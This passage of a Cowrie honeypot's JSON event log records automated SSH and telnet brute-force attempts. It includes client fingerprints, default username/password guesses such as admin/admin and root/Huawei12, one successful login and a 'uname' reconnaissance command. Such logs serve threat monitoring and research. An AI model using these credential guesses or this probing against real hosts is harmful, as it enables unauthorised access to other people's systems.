{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:03.230436Z","src_ip":"192.109.200.237","session":"b3a36879dc4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:03.398232Z","src_ip":"192.109.200.237","session":"b3a36879dc4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.820244073867798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:03.450773Z","src_ip":"50.6.8.71","session":"4dd72c170778","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:03.655686Z","src_ip":"192.109.200.237","session":"b3a36879dc4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:04.742805Z","src_ip":"192.109.200.237","session":"b3a36879dc4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49036,"dst_ip":"159.203.135.109","dst_port":22,"session":"576511a7fa61","protocol":"ssh","message":"New connection: 192.109.200.237:49036 (159.203.135.109:22) [session: 576511a7fa61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:07.023864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:07.029101Z","src_ip":"192.109.200.237","session":"576511a7fa61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:07.111948Z","src_ip":"192.109.200.237","session":"576511a7fa61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:07.359920Z","src_ip":"192.109.200.237","session":"576511a7fa61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:08.445044Z","src_ip":"192.109.200.237","session":"576511a7fa61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37028,"dst_ip":"159.203.135.109","dst_port":22,"session":"566ce9aedae5","protocol":"ssh","message":"New connection: 192.109.200.237:37028 (159.203.135.109:22) [session: 566ce9aedae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:10.815813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:10.821275Z","src_ip":"192.109.200.237","session":"566ce9aedae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:10.904055Z","src_ip":"192.109.200.237","session":"566ce9aedae5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:11.152491Z","src_ip":"192.109.200.237","session":"566ce9aedae5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:11.375509Z","src_ip":"192.109.200.237","session":"566ce9aedae5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:11.379307Z","src_ip":"192.109.200.237","session":"566ce9aedae5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:11.466447Z","src_ip":"192.109.200.237","session":"566ce9aedae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:11.475071Z","src_ip":"192.109.200.237","session":"566ce9aedae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.530447244644165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:13.577621Z","src_ip":"50.6.8.71","session":"853446ddcfd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37038,"dst_ip":"159.203.135.109","dst_port":22,"session":"57e32fd8eec1","protocol":"ssh","message":"New connection: 192.109.200.237:37038 (159.203.135.109:22) [session: 57e32fd8eec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:14.599506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:14.605608Z","src_ip":"192.109.200.237","session":"57e32fd8eec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:14.683538Z","src_ip":"192.109.200.237","session":"57e32fd8eec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:15.004845Z","src_ip":"192.109.200.237","session":"57e32fd8eec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:16.092486Z","src_ip":"192.109.200.237","session":"57e32fd8eec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51454,"dst_ip":"10.17.0.5","dst_port":23,"session":"58038f183c0a","protocol":"telnet","message":"New connection: 50.6.8.71:51454 (10.17.0.5:23) [session: 58038f183c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:16.414498Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37054,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd841de9182e","protocol":"ssh","message":"New connection: 192.109.200.237:37054 (159.203.135.109:22) [session: fd841de9182e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:18.220000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:18.224136Z","src_ip":"192.109.200.237","session":"fd841de9182e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:18.306132Z","src_ip":"192.109.200.237","session":"fd841de9182e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:18.552464Z","src_ip":"192.109.200.237","session":"fd841de9182e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51458,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d23889dcba","protocol":"telnet","message":"New connection: 50.6.8.71:51458 (10.17.0.5:23) [session: 90d23889dcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:18.717854Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:19.637572Z","src_ip":"192.109.200.237","session":"fd841de9182e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51472,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec94867429c4","protocol":"telnet","message":"New connection: 50.6.8.71:51472 (10.17.0.5:23) [session: ec94867429c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:20.033687Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51476,"dst_ip":"10.17.0.5","dst_port":23,"session":"701b1c34f58b","protocol":"telnet","message":"New connection: 50.6.8.71:51476 (10.17.0.5:23) [session: 701b1c34f58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:21.096807Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":11416,"dst_ip":"159.203.135.109","dst_port":22,"session":"986ed45f3962","protocol":"ssh","message":"New connection: 38.93.206.2:11416 (159.203.135.109:22) [session: 986ed45f3962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:21.360429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:21.364391Z","src_ip":"38.93.206.2","session":"986ed45f3962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:21.415125Z","src_ip":"38.93.206.2","session":"986ed45f3962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321d","message":"login attempt [root/123321d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:21.565686Z","src_ip":"38.93.206.2","session":"986ed45f3962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43644,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7c1203cbc68","protocol":"ssh","message":"New connection: 192.109.200.237:43644 (159.203.135.109:22) [session: b7c1203cbc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:21.786085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:21.791066Z","src_ip":"192.109.200.237","session":"b7c1203cbc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:21.873640Z","src_ip":"192.109.200.237","session":"b7c1203cbc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:22.121312Z","src_ip":"192.109.200.237","session":"b7c1203cbc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:22.618975Z","src_ip":"38.93.206.2","session":"986ed45f3962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:23.205619Z","src_ip":"192.109.200.237","session":"b7c1203cbc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43664,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5a36256ed61","protocol":"ssh","message":"New connection: 192.109.200.237:43664 (159.203.135.109:22) [session: e5a36256ed61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:25.658375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:25.691753Z","src_ip":"192.109.200.237","session":"e5a36256ed61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-